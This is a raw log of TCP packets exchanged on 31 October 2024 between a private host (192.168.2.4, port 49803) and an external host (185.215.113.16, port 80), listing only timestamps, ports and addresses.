Oct 31, 2024 05:07:08.316744089 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.316756010 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.316802979 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.316855907 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.316979885 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.316992044 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.317003965 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.317013025 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.317018032 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.317024946 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.317035913 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.317044973 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.317048073 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.317105055 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.317105055 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.317837954 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.317887068 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.318031073 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.318041086 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.318049908 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.318061113 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.318069935 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.318072081 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.318085909 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.318099022 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.318116903 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.318142891 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.318928957 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.318939924 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.318948984 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.318974018 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.319005966 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.319026947 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.319072008 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.319143057 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.319154024 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.319164991 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.319185019 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.319216967 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.319855928 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.319905043 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.320072889 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.320084095 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.320095062 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.320115089 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.320139885 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.320147991 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.320157051 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.320169926 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.320177078 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.320199966 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.320931911 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.320946932 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.320954084 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.320993900 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.320997953 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.321007967 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.321022987 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.321033001 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.321038008 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.321057081 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.321082115 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.321990967 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.322061062 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.322071075 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.322230101 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.455707073 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.455723047 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.455734015 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.455811977 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.455836058 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.455900908 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.455904961 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.455913067 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.455925941 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.455943108 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.455961943 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.455965996 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.455975056 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.456001043 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.456027031 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.456119061 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.456130028 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.456141949 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.456154108 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.456160069 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.456212997 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.456212997 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.456362963 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.456382036 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.456410885 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.456435919 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.456450939 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.456495047 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.456530094 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.456542969 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.456553936 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.456581116 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.456623077 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.456687927 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.456736088 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.456783056 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.456794977 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.456809044 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.456820011 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.456832886 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.456839085 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.456845999 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.456865072 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.456891060 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.456914902 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.457021952 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.457034111 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.457045078 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.457056999 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.457067966 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.457070112 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.457081079 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.457098007 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.457123041 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.457655907 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.457717896 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.457736015 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.457747936 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.457760096 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.457772017 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.457784891 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.457792997 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.457814932 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.457838058 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.458084106 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.458122015 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.458132982 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.458132982 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.458158970 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.458178043 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.458178997 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.458189964 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.458200932 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.458219051 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.458226919 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.458233118 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.458245039 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.458257914 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.458273888 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.458301067 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.458707094 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.458719015 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.458730936 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.458756924 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.458758116 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.458771944 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.458782911 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.458784103 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.458796978 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.458817005 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.458843946 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.458852053 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.458863974 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.458875895 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.458888054 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.458898067 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.458899975 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.458913088 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.458915949 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.458956957 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.458981037 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.573826075 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.573868990 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.573880911 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.573880911 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.573919058 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.573991060 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574002028 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574013948 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574024916 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.574031115 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574044943 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574055910 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574062109 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.574065924 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574093103 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.574111938 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.574248075 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574259996 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574270964 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574287891 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.574297905 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574310064 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574316978 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.574350119 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.574414968 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574465990 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574467897 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.574477911 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574496031 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.574517012 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574517965 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.574528933 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574539900 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574553967 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.574577093 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.574717999 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574729919 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574740887 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574755907 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.574790001 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574791908 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.574805975 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574817896 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574831009 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574837923 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.574860096 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.574878931 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.574887991 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574899912 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574909925 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.574928999 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.574954987 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.575170994 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.575182915 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.575195074 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.575205088 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.575208902 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.575239897 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.575263023 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.575263023 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.575288057 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.607830048 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.607880116 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.607882023 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.607896090 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.607918978 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.607923031 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.607930899 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.607943058 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.607954979 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.607968092 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.607992887 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.608042002 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.608052969 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.608063936 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.608074903 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.608084917 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.608087063 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.608099937 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.608107090 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.608120918 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.608124018 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.608131886 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.608139992 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.608150005 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.608160973 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.608165979 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.608179092 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.608190060 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.608191013 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.608210087 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.608227015 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.610486984 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.610501051 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.610512972 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.610544920 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.610574007 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.610594988 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.610605955 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.610615969 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.610632896 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.610667944 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.691946030 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.691992044 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692007065 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.692110062 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692128897 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.692142963 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692146063 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.692156076 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692173958 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.692189932 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.692229986 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692245960 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692256927 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692267895 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692269087 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.692281961 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692287922 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.692291975 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692323923 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.692367077 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692380905 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692393064 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692405939 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.692435026 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.692440033 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692451000 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692471027 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.692496061 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.692568064 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692579031 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692589998 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692600012 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.692615986 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.692631960 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.692759991 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692770958 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692783117 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692794085 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692801952 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.692828894 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692831039 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.692859888 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.692867041 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692878008 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692888021 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.692898989 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.692915916 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.693017006 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.693032980 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.693043947 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.693053961 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.693062067 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.693073988 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.693079948 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.693109989 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.693217993 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.693255901 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.693267107 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.693276882 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.693303108 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.693314075 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.693325043 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.693335056 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.693347931 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.693367958 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.693530083 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.693541050 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.693552971 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.693562984 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:08.693572044 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:08.693574905 CET	80	49803	185.215.113.16	192.168.2.4
